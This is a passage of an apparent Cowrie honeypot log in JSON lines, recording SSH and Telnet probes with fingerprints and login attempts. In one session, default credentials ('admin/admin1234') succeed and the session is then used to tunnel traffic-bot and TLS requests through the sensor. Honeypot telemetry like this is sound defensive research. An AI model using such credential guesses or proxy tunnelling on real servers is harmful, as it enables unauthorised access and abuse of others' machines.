{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":44494,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d160865435","protocol":"ssh","message":"New connection: 103.60.242.169:44494 (159.203.135.109:22) [session: 92d160865435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:53.591842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:53.595734Z","src_ip":"103.60.242.169","session":"92d160865435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:53.846581Z","src_ip":"103.60.242.169","session":"92d160865435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"abc123","message":"login attempt [teste/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:54.885434Z","src_ip":"103.60.242.169","session":"92d160865435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:56.138776Z","src_ip":"103.60.242.169","session":"92d160865435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.480342864990234,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:01.675499Z","src_ip":"128.199.8.54","session":"6c5c61b99291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"df551896c9b0","protocol":"telnet","message":"New connection: 128.199.8.54:54000 (159.203.135.109:23) [session: df551896c9b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:13.126917Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.65.170.8","src_port":48840,"dst_ip":"159.203.135.109","dst_port":23,"session":"efbc6766f9a9","protocol":"telnet","message":"New connection: 50.65.170.8:48840 (159.203.135.109:23) [session: efbc6766f9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:15.977281Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.213","src_port":58610,"dst_ip":"10.17.0.5","dst_port":22,"session":"495f32d93579","protocol":"ssh","message":"New connection: 205.210.31.213:58610 (10.17.0.5:22) [session: 495f32d93579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:16.036007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:16.943490Z","src_ip":"205.210.31.213","session":"495f32d93579","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:18.173614Z","src_ip":"205.210.31.213","session":"495f32d93579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60284,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b1d383fc03","protocol":"telnet","message":"New connection: 172.81.62.90:60284 (159.203.135.109:23) [session: 52b1d383fc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:20.984604Z"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:26.174738Z","src_ip":"205.210.31.213","session":"495f32d93579","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51734,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd87f939873f","protocol":"ssh","message":"New connection: 113.164.152.20:51734 (10.17.0.5:22) [session: dd87f939873f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:26.346825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:26.351538Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:26.665678Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":61740,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad925f2cd0ff","protocol":"ssh","message":"New connection: 113.164.152.20:61740 (10.17.0.5:22) [session: ad925f2cd0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:27.446959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:27.453433Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:27.721876Z","src_ip":"113.164.152.20","session":"ad925f2cd0ff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:27.834631Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.318696Z","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.438873Z","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.582630Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JVZrQVIkQnYoM0U4Y3JlNg%3D%3DH4wnUr8zR8mJ952lS9SM8KzLg5E%2B%2FxyWOW6WOL4qd%2FNKnd4vsGZDk3%2FwlA3s1t1UxYnrLZJjHuXluvo1bBU6TqYThoOR6cuLUF8naxwsr%2B6fIAxB2RrDNyTArvQpuZu7wYyQtwvXjLvz5%2FSU%2B343u7QR%2BLoLjPCyXLTs5D0o1V%2FEZM9R%2FaY5xyEM%2B2r3iZ8cBAu0LjxAoSeN9Znf6FbtGM92a1Ip4GVax9OQpTuQcYksOk11SiyjqQpUfZO5aZnjb5FXmJD8ukA16LcROSOGx7BJILJVm%2FDFwr0OeNP8k3hnclIIGAVtuxVGkXAYx1YU9WI67sbyTKMV9%2BPnUI%2FSQJ7h1tV2zwRfowmhFqcAcq7ISYB1AvRW79HIG2FtqARI59eT57j8hV1q73Zx6oxwe579FxVr0SJIgYTP%2F4bPcyY6wQJLp5NBtzl6uG07qXQeFTb4HE7dEBerQi0Cb%2BteMMBBAm8ZJLpDSxwGW%2FsKk1ijwdYdZVPQC04RKm%2Fad%2BwlmL%2Fri3OVWeH9E1utNF0%2BHWxcUMgMnxzXnAVLACW73PGfAPjDpf9qfIA0hlC3cJ4gKZGKYTfgf4Go%2FS%2BgTi6B6MQeUhAaaTEiS%2F%2FX5s%2B%2BeGc1qdb2oYDxusExbLv1a15x06LV1rPxebM4wZkRC%2BRLixzvmmNVubLfnPdS2Nxvw4CW3dQsEgyS3YqPQm%2Fw2yaE4eL%2Fypt5IAEXc6aLFx%2BQM4EHeZzI4v3vVnaEsj9Fqcb0zJmsDrycRQ5DcggGCWPqCgUIcsAPAssmdA%2FTVZuLewiMucHYvjuOGPChz87XRcWB7ogKfb3qpJNeJDxrD7UWsxXSwMACkF08RItlbew77RuC30LOCQPGNjJfs1ozN9LD0KxKueG%2B8oHyYaaZVdQZ5nqXQjElIm7fwBN4xXGzg3a1lSj2m17qwq%2BWksK92Sc%2BmYbYbkBjv7FJl2HIUQHkyns%2FCx7jlWXBpro0o6xwkRc3r%2Fmx1SkvYy1qVR97LP8qnjMcm%2BPPNpWrOy%2Bc1gl%2BWFl%2Bn7q%2FsoOsTAHheLsJVoFJy7A2lb74kiPacBO7Sdp1PCeQUaqT3mvmrGV68BH5'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JVZrQVIkQnYoM0U4Y3JlNg%3D%3DH4wnUr8zR8mJ952lS9SM8KzLg5E%2B%2FxyWOW6WOL4qd%2FNKnd4vsGZDk3%2FwlA3s1t1UxYnrLZJjHuXluvo1bBU6TqYThoOR6cuLUF8naxwsr%2B6fIAxB2RrDNyTArvQpuZu7wYyQtwvXjLvz5%2FSU%2B343u7QR%2BLoLjPCyXLTs5D0o1V%2FEZM9R%2FaY5xyEM%2B2r3iZ8cBAu0LjxAoSeN9Znf6FbtGM92a1Ip4GVax9OQpTuQcYksOk11SiyjqQpUfZO5aZnjb5FXmJD8ukA16LcROSOGx7BJILJVm%2FDFwr0OeNP8k3hnclIIGAVtuxVGkXAYx1YU9WI67sbyTKMV9%2BPnUI%2FSQJ7h1tV2zwRfowmhFqcAcq7ISYB1AvRW79HIG2FtqARI59eT57j8hV1q73Zx6oxwe579FxVr0SJIgYTP%2F4bPcyY6wQJLp5NBtzl6uG07qXQeFTb4HE7dEBerQi0Cb%2BteMMBBAm8ZJLpDSxwGW%2FsKk1ijwdYdZVPQC04RKm%2Fad%2BwlmL%2Fri3OVWeH9E1utNF0%2BHWxcUMgMnxzXnAVLACW73PGfAPjDpf9qfIA0hlC3cJ4gKZGKYTfgf4Go%2FS%2BgTi6B6MQeUhAaaTEiS%2F%2FX5s%2B%2BeGc1qdb2oYDxusExbLv1a15x06LV1rPxebM4wZkRC%2BRLixzvmmNVubLfnPdS2Nxvw4CW3dQsEgyS3YqPQm%2Fw2yaE4eL%2Fypt5IAEXc6aLFx%2BQM4EHeZzI4v3vVnaEsj9Fqcb0zJmsDrycRQ5DcggGCWPqCgUIcsAPAssmdA%2FTVZuLewiMucHYvjuOGPChz87XRcWB7ogKfb3qpJNeJDxrD7UWsxXSwMACkF08RItlbew77RuC30LOCQPGNjJfs1ozN9LD0KxKueG%2B8oHyYaaZVdQZ5nqXQjElIm7fwBN4xXGzg3a1lSj2m17qwq%2BWksK92Sc%2BmYbYbkBjv7FJl2HIUQHkyns%2FCx7jlWXBpro0o6xwkRc3r%2Fmx1SkvYy1qVR97LP8qnjMcm%2BPPNpWrOy%2Bc1gl%2BWFl%2Bn7q%2FsoOsTAHheLsJVoFJy7A2lb74kiPacBO7Sdp1PCeQUaqT3mvmrGV68BH5'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.586174Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:42:28.840620Z","src_ip":"113.164.152.20","session":"dd87f939873f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8H,\\xfe\\xab_\\x9a\\x9b\\x15\\xa8+\\xa9\\x8d\\x87\\xf3\\xaex\\xee\\xe0\\x98\\xf4[=\\xb6m\\xff\\xa4%\\x1f\\x06h\\xc6 \\xe4k\\xa8\\xc2W>\\xc35~\\x84!i\\xb3\\x1fZ\\xc8\\x1f\\x1dE\\x1f\\x15\\xb3\\xd4\\xec\\x93\\xc8\\xb0s\\xc9\\x96M\\xda\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\x13\\x8b\\xd2k7\\xc4\\xfe)\\x96W\\xc3\\x91]G\\x1fb\\xf2\\xe8\\x0b4\\x83}m*\\xe3\\xc3\\x92\\xe1v\\xc6o\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8H,\\xfe\\xab_\\x9a\\x9b\\x15\\xa8+\\xa9\\x8d\\x87\\xf3\\xaex\\xee\\xe0\\x98\\xf4[=\\xb6m\\xff\\xa4%\\x1f\\x06h\\xc6 \\xe4k\\xa8\\xc2W>\\xc35~\\x84!i\\xb3\\x1fZ\\xc8\\x1f\\x1dE\\x1f\\x15\\xb3\\xd4\\xec\\x93\\xc8\\xb0s\\xc9\\x96M\\xda\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\x13\\x8b\\xd2k7\\xc4\\xfe)\\x96W\\xc3\\x91]G\\x1fb\\xf2\\xe8\\x0b4\\x83}m*\\xe3\\xc3\\x92\\xe1v\\xc6o\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x